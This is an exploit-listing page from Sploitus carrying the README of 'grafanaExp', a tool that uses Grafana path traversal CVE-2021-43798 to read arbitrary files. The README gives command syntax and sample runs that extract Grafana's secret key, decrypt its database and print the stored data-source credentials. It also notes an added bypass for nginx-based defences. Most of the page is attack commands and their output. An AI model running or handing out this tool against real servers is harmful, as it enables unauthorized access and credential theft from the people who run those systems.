Sploitus

Exploit for Path Traversal in Grafana

CVE-2021-43798

githubexploit · 2021-12-07

Exploit Code

README62 lines
## https://sploitus.com/exploit?id=383B3280-498A-5345-909F-78298649D24E
# grafanaExp

Exploits using the CVE-2021-43798 vulnerability in Grafana to automatically detect whether there are vulnerabilities, existing plugins, extract keys, decrypt server-side db files, and output `data_source` information. ## Usage
Provides the `exp` and `decode` functions.

➜ ./grafanaExp -h
NAME:
   grafanaExp - Exploits Grafana with CVE-2021-43798 Arbitrary File Read. USAGE:
   grafanaExp [global options] command [command options] [arguments...]

AUTHOR:
   A&D-Team

COMMANDS:
   exp      -u [url] -p [plugin] -c [config] -d [db] -k [key]
   decode   decode -f [dbfile] -k [key]
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h  Show help (Default: False)

```

### Exp
Automatically detects whether there are vulnerabilities, existing plugins, extracts keys, decrypts server-side db files, and outputs `data_source` information:
```
➜ ./grafanaExp exp -u http://localhost:3000 
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql]        name:[Mssql_01]         url:[test.sqlserver:1433]       user:[admin]    password[adminpassword] database:[db.sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!

```

### Decode
When the DB file is too large, it can be downloaded locally before decryption:
```
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql]        name:[Mssql_01]         url:[test.sqlserver:1433]       user:[admin]    password[adminpassword] database:[db.sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 All Done, have nice day!

```

## Updates
```
1. Supports https (not added yesterday because of some strange issues with the transport layer).
2. Added the Darwin execution file.
3. Added a bypass for the nginx-based payload (modified the net/http library slightly).

```

## Disclaimer
This program should only be used for authorized security testing and research purposes.

[source-iocs-preserved url=http://localhost:3000/]